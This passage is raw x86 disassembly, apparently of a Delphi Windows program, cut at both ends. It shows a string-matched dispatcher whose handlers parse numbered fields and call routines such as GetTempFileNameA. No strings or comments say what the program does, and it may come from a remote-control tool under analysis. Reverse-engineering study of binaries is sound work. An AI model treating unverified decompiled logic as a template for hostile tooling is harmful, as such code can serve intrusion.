push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1a7c]
push eax
lea ecx, [ebp - 0x1a80]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a80]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1a7c]
lea edx, [ebp - 0x1a78]
call fcn.00593948
mov eax, dword [ebp - 0x1a78]
lea edx, [ebp - 0x1a74]
call fcn.0058feb0
mov eax, dword [ebp - 0x1a74]
push eax
lea eax, [ebp - 0x1a8c]
push eax
lea ecx, [ebp - 0x1a90]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a90]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1a8c]
lea edx, [ebp - 0x1a88]
call fcn.00593948
mov eax, dword [ebp - 0x1a88]
lea edx, [ebp - 0x1a84]
call fcn.0058feb0
mov eax, dword [ebp - 0x1a84]
push eax
lea eax, [ebp - 0x1a9c]
push eax
lea ecx, [ebp - 0x1aa0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1aa0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1a9c]
lea edx, [ebp - 0x1a98]
call fcn.00593948
mov eax, dword [ebp - 0x1a98]
lea edx, [ebp - 0x1a94]
call fcn.0058feb0
mov eax, dword [ebp - 0x1a94]
push eax
lea eax, [ebp - 0x1aac]
push eax
lea ecx, [ebp - 0x1ab0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ab0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1aac]
lea edx, [ebp - 0x1aa8]
call fcn.00593948
mov eax, dword [ebp - 0x1aa8]
lea edx, [ebp - 0x1aa4]
call fcn.0058feb0
mov eax, dword [ebp - 0x1aa4]
call fcn.00593654
push eax
lea eax, [ebp - 0x1abc]
push eax
lea ecx, [ebp - 0x1ac0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ac0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1abc]
lea edx, [ebp - 0x1ab8]
call fcn.00593948
mov eax, dword [ebp - 0x1ab8]
lea edx, [ebp - 0x1ab4]
call fcn.0058feb0
mov eax, dword [ebp - 0x1ab4]
call fcn.0040b2d4
pop edx
pop ecx
call fcn.0057b75c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a2435
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae9ac
call fcn.00405e6c
jne 0x5a259e
xor eax, eax
push ebp
push 0x5a2597
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1ac4]
push eax
lea ecx, [ebp - 0x1ac8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ac8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1ac4]
lea edx, [ebp - 0x3b0]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a2500
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1acc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1acc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, 0x104
call fcn.00402fb0
mov esi, eax
push esi
push 0
push 0x5ae9c0
mov eax, dword [0x5dbd20]
call fcn.00405ed4
push eax
call sub.kernel32.dll_GetTempFileNameA
lea edx, [ebp - 0x1ad0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1ad0]
push eax
lea eax, [ebp - 0x1ad4]
mov edx, esi
call fcn.00405c3c
mov eax, dword [ebp - 0x1ad4]
push eax
lea eax, [ebp - 0x1ad8]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1ad8]
pop edx
pop eax
call fcn.0058ffac
mov eax, esi
call fcn.00402fcc
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae9cc
call fcn.00405e6c
jne 0x5a29dc
lea eax, [ebp - 0x1adc]
push eax
lea ecx, [ebp - 0x1ae0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ae0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1adc]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5a2670
push 0
lea eax, [ebp - 0x1ae8]
push eax
lea eax, [ebp - 0x1aec]
push eax
lea ecx, [ebp - 0x1af0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1af0]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x1aec]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x1ae8]
lea edx, [ebp - 0x1ae4]
call fcn.00593948
mov edx, dword [ebp - 0x1ae4]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x1af4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1af4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x3b8]
mov eax, 0x5ae9e4
call fcn.00406020
test eax, eax
je 0x5a2774
mov edx, dword [ebp - 0x3b8]
mov eax, 0x5ae9e4
call fcn.00406020
mov ecx, eax
add ecx, 0xb
dec ecx
lea eax, [ebp - 0x3b8]
mov edx, 1
call fcn.00405f7c
mov eax, dword [ebp - 0x3b8]
mov edx, 0x5ad7b4
call fcn.00405e6c
sete byte [ebp - 0x582]
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x1af8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1af8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x718], eax
cmp dword [ebp - 0x718], 0
je 0x5a274f
mov eax, dword [ebp - 0x718]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x718], eax
mov edx, dword [ebp - 0x3b8]
mov eax, 0x5ae9e4
call fcn.00406020
mov edx, eax
lea eax, [ebp - 0x3b8]
mov ecx, dword [ebp - 0x718]
call fcn.00405f7c
jmp 0x5a277b
mov byte [ebp - 0x582], 0
lea edx, [ebp - 0x3b0]
mov eax, dword [ebp - 0x3b8]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a27a6
lea eax, [ebp - 0x3b0]
mov edx, dword [ebp - 0x3b8]
call fcn.00405adc
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a27f1
lea edx, [ebp - 0x1afc]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1afc]
push eax
lea eax, [ebp - 0x1b00]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1b00]
xor edx, edx
pop eax
call fcn.0058ffac
mov ecx, 0x5ae9f8
mov edx, dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
cmp byte [ebp - 0x582], 0
je 0x5a2833
mov edx, dword [ebp - 0x3b0]
mov eax, dword [0x5dbd88]
mov ecx, dword [eax]
call dword [ecx + 0x54]
inc eax
jne 0x5a2833
mov edx, dword [ebp - 0x3b0]
mov eax, dword [0x5dbd88]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [0x5d4f00]
mov byte [eax], 1
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 0
je 0x5a2861
mov eax, dword [ebp - 0x724]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x724], eax
mov eax, 0x5ad914
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 0
je 0x5a2886
mov eax, dword [ebp - 0x728]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x728], eax
mov eax, dword [ebp - 0x728]
push eax
mov eax, 0x5ad914
call fcn.00405ed4
push eax
mov eax, dword [ebp - 0x724]
push eax
mov eax, dword [ebp - 0x3b0]
call fcn.00405ed4
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x720], eax
cmp dword [ebp - 0x720], 0
sete byte [ebp - 0x719]
cmp byte [ebp - 0x719], 0
je 0x5a28e3
mov byte [ebp - 0x739], 1
jmp 0x5a2983
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 0
je 0x5a2909
mov eax, dword [ebp - 0x734]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x734], eax
mov eax, 0x5ad8d4
mov dword [ebp - 0x738], eax
cmp dword [ebp - 0x738], 0
je 0x5a292e
mov eax, dword [ebp - 0x738]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x738]
push eax
mov eax, 0x5ad8d4
call fcn.00405ed4
push eax
mov eax, dword [ebp - 0x734]
push eax
mov eax, dword [ebp - 0x3b0]
call fcn.00405ed4
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 0
sete byte [ebp - 0x729]
movzx eax, byte [ebp - 0x729]
mov byte [ebp - 0x739], al
cmp byte [ebp - 0x739], 0
je 0x5a29cf
lea edx, [ebp - 0x1b04]
mov eax, 0x5ad914
call fcn.0058ff78
mov eax, dword [ebp - 0x1b04]
call fcn.0040b2d4
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1b08]
mov eax, 0x5ad8d4
call fcn.0058ff78
mov eax, dword [ebp - 0x1b08]
xor edx, edx
call fcn.005b8f5c
mov eax, dword [0x5d4f00]
mov byte [eax], 0
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea14
call fcn.00405e6c
jne 0x5a2b62
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x1b0c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b0c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea edx, [ebp - 0x3b0]
mov eax, dword [ebp - 0x3b8]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a2a4f
lea eax, [ebp - 0x3b0]
mov edx, dword [ebp - 0x3b8]
call fcn.00405adc
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a2a9a
lea edx, [ebp - 0x1b10]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1b10]
push eax
lea eax, [ebp - 0x1b14]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1b14]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x1b18]
push eax
lea ecx, [ebp - 0x1b1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b1c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1b18]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5a2b47
push 0
lea eax, [ebp - 0x1b24]
push eax
push 0x5aea34
push dword [ebp - 0x3b0]
push 0x5aea48
lea eax, [ebp - 0x1b28]
mov edx, 3
call fcn.00405dd8
mov edx, dword [ebp - 0x1b28]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x1b24]
lea edx, [ebp - 0x1b20]
call fcn.00593948
mov edx, dword [ebp - 0x1b20]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
mov ecx, 0x5aea5c
mov edx, dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea84
call fcn.00405e6c
jne 0x5a2d66
xor eax, eax
push ebp
push 0x5a2d5f
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1b2c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b2c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a2c08
lea edx, [ebp - 0x1b30]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1b30]
push eax
lea eax, [ebp - 0x1b34]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1b34]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x1b38]
push eax
lea ecx, [ebp - 0x1b3c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b3c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1b38]
call fcn.00593654
test al, al
je 0x5a2cb5
lea eax, [ebp - 0x1b48]
push eax
lea ecx, [ebp - 0x1b4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b4c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1b48]
lea edx, [ebp - 0x1b44]
call fcn.00593948
mov eax, dword [ebp - 0x1b44]
lea edx, [ebp - 0x1b40]
call fcn.0058feb0
mov eax, dword [ebp - 0x1b40]
call fcn.0040b89c
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp 0x5a2d1f
lea eax, [ebp - 0x1b58]
push eax
lea ecx, [ebp - 0x1b5c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b5c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1b58]
lea edx, [ebp - 0x1b54]
call fcn.00593948
mov eax, dword [ebp - 0x1b54]
lea edx, [ebp - 0x1b50]
call fcn.0058feb0
mov eax, dword [ebp - 0x1b50]
call fcn.0040b8c0
lea edx, [ebp - 0x3c0]
call fcn.00593610
lea eax, [ebp - 0x1b60]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a2d66
call fcn.005924e8
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeaa4
call fcn.00405e6c
jne 0x5a32f1
xor eax, eax
push ebp
push 0x5a32ea
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1b6c]
push eax
lea ecx, [ebp - 0x1b70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b70]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1b6c]
lea edx, [ebp - 0x1b68]
call fcn.00593948
mov eax, dword [ebp - 0x1b68]
lea edx, [ebp - 0x1b64]
call fcn.0058feb0
mov edx, dword [ebp - 0x1b64]
mov eax, dword [0x5d4b58]
call fcn.00405a98
lea eax, [ebp - 0x1b7c]
push eax
lea ecx, [ebp - 0x1b80]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b80]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1b7c]
lea edx, [ebp - 0x1b78]
call fcn.00593948
mov eax, dword [ebp - 0x1b78]
lea edx, [ebp - 0x1b74]
call fcn.0058feb0
mov edx, dword [ebp - 0x1b74]
mov eax, dword [0x5d5088]
call fcn.00405a98
lea eax, [ebp - 0x1b8c]
push eax
lea ecx, [ebp - 0x1b90]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b90]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1b8c]
lea edx, [ebp - 0x1b88]
call fcn.00593948
mov eax, dword [ebp - 0x1b88]
lea edx, [ebp - 0x1b84]
call fcn.0058feb0
mov edx, dword [ebp - 0x1b84]
mov eax, dword [0x5d4a78]
call fcn.00405a98
lea eax, [ebp - 0x1b94]
push eax
lea ecx, [ebp - 0x1b98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b98]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1b94]
call fcn.0040b2d4
mov edx, dword [0x5d4934]
mov dword [edx], eax
lea eax, [ebp - 0x1ba4]
push eax
lea ecx, [ebp - 0x1ba8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ba8]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1ba4]
lea edx, [ebp - 0x1ba0]
call fcn.00593948
mov eax, dword [ebp - 0x1ba0]
lea edx, [ebp - 0x1b9c]
call fcn.0058feb0
mov edx, dword [ebp - 0x1b9c]
mov eax, dword [0x5d4ad0]
call fcn.00405a98
lea eax, [ebp - 0x1bb4]
push eax
lea ecx, [ebp - 0x1bb8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bb8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1bb4]
lea edx, [ebp - 0x1bb0]
call fcn.00593948
mov eax, dword [ebp - 0x1bb0]
lea edx, [ebp - 0x1bac]
call fcn.0058feb0
mov edx, dword [ebp - 0x1bac]
mov eax, dword [0x5d4b3c]
call fcn.00405a98
lea eax, [ebp - 0x1bc4]
push eax
lea ecx, [ebp - 0x1bc8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bc8]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1bc4]
lea edx, [ebp - 0x1bc0]
call fcn.00593948
mov eax, dword [ebp - 0x1bc0]
lea edx, [ebp - 0x1bbc]
call fcn.0058feb0
mov edx, dword [ebp - 0x1bbc]
mov eax, dword [0x5d50d8]
call fcn.00405a98
lea eax, [ebp - 0x1bcc]
push eax
lea ecx, [ebp - 0x1bd0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bd0]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1bcc]
call fcn.00593654
mov edx, dword [0x5d4894]
mov byte [edx], al
lea eax, [ebp - 0x1bdc]
push eax
lea ecx, [ebp - 0x1be0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1be0]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1bdc]
lea edx, [ebp - 0x1bd8]
call fcn.00593948
mov eax, dword [ebp - 0x1bd8]
lea edx, [ebp - 0x1bd4]
call fcn.0058feb0
mov edx, dword [ebp - 0x1bd4]
mov eax, dword [0x5d4800]
call fcn.00405a98
mov eax, dword [0x5d4f1c]
mov byte [eax], 0
xor eax, eax
push ebp
push 0x5a31ef
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d5088]
cmp dword [eax], 0
je 0x5a3130
lea edx, [ebp - 0x430]
xor eax, eax
call fcn.004031b8
xor eax, eax
push ebp
push 0x5a3126
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d5088]
mov eax, dword [eax]
call fcn.00403148
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a3130
mov eax, dword [0x5d4f00]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58c98c]
call fcn.0042a378
mov dword [ebp - 0x530], eax
lea edx, [ebp - 0x1be4]
mov eax, 0x5ad914
call fcn.0058ff78
mov eax, dword [ebp - 0x1be4]
call fcn.0040b2d4
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1be8]
mov eax, 0x5ad8d4
call fcn.0058ff78
mov eax, dword [ebp - 0x1be8]
call fcn.005b3a68
mov eax, dword [ebp - 0x530]
call fcn.0058ed3c
mov eax, dword [0x5d4f1c]
cmp byte [eax], 0
je 0x5a314c
mov eax, dword [0x5d4f00]
mov byte [eax], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a31f6
mov eax, dword [0x5d5088]
cmp dword [eax], 0
je 0x5a31ee
xor eax, eax
push ebp
push 0x5a31e4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x430]
call fcn.00403148
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a31ee
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeabc
call fcn.00405e6c
jne 0x5a3639
xor eax, eax
push ebp
push 0x5a3632
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
mov eax, dword [0x5d5134]
mov edx, dword [0x5dbcc4]
mov dword [eax], edx
lea eax, [ebp - 0x1c08]
push eax
lea ecx, [ebp - 0x1c0c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c0c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1c08]
lea edx, [ebp - 0x1c04]
call fcn.00593948
mov eax, dword [ebp - 0x1c04]
lea edx, [ebp - 0x1c00]
call fcn.0058feb0
mov edx, dword [ebp - 0x1c00]
mov eax, dword [0x5d4d2c]
call fcn.00405a98
lea eax, [ebp - 0x1c18]
push eax
lea ecx, [ebp - 0x1c1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c1c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1c18]
lea edx, [ebp - 0x1c14]
call fcn.00593948
mov eax, dword [ebp - 0x1c14]
lea edx, [ebp - 0x1c10]
call fcn.0058feb0
mov edx, dword [ebp - 0x1c10]
mov eax, dword [0x5d4cfc]
call fcn.00405a98
lea eax, [ebp - 0x1c24]
push eax
lea ecx, [ebp - 0x1c28]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c28]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1c24]
lea edx, [ebp - 0x1c20]
call fcn.00593948
mov edx, dword [ebp - 0x1c20]
mov eax, dword [0x5d4a10]
call fcn.00405a98
lea eax, [ebp - 0x1c2c]
push eax
lea ecx, [ebp - 0x1c30]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c30]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1c2c]
call fcn.00593654
mov edx, dword [0x5d4a98]
mov byte [edx], al
lea eax, [ebp - 0x1c34]
push eax
lea ecx, [ebp - 0x1c38]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c38]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1c34]
call fcn.00593654
mov edx, dword [0x5d4c88]
mov byte [edx], al
mov eax, dword [0x5d4c58]
mov byte [eax], 0
mov eax, dword [0x5d4f00]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x5b29a0]
call fcn.0042a378
mov edx, dword [0x5d4ed4]
mov dword [edx], eax
mov eax, dword [0x5d4ed4]
mov eax, dword [eax]
call fcn.0058ed3c
call fcn.005b3a54
inc eax
jne 0x5a3512
mov eax, dword [0x5d4ed4]
mov eax, dword [eax]
call fcn.0042a830
mov eax, dword [0x5d4c58]
cmp byte [eax], 1
jne 0x5a34f2
mov eax, dword [0x5d4f00]
mov byte [eax], 0
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1c3c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c3c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3b0], 0
je 0x5a3615
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a35ae
lea edx, [ebp - 0x1c40]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1c40]
push eax
lea eax, [ebp - 0x1c44]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1c44]
xor edx, edx
pop eax
call fcn.0058ffac
mov eax, dword [0x5d4d4c]
cmp byte [eax], 0
je 0x5a35e6
lea eax, [ebp - 0x1c48]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1c48]
mov edx, 0x5aeadc
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
jmp 0x5a3615
lea eax, [ebp - 0x1c4c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1c4c]
mov edx, dword [0x5d4ca0]
mov edx, dword [edx]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeaec
call fcn.00405e6c
jne 0x5a3d1b
xor eax, eax
push ebp
push 0x5a3d14
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1c58]
push eax
lea ecx, [ebp - 0x1c5c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c5c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1c58]
lea edx, [ebp - 0x1c54]
call fcn.00593948
mov eax, dword [ebp - 0x1c54]
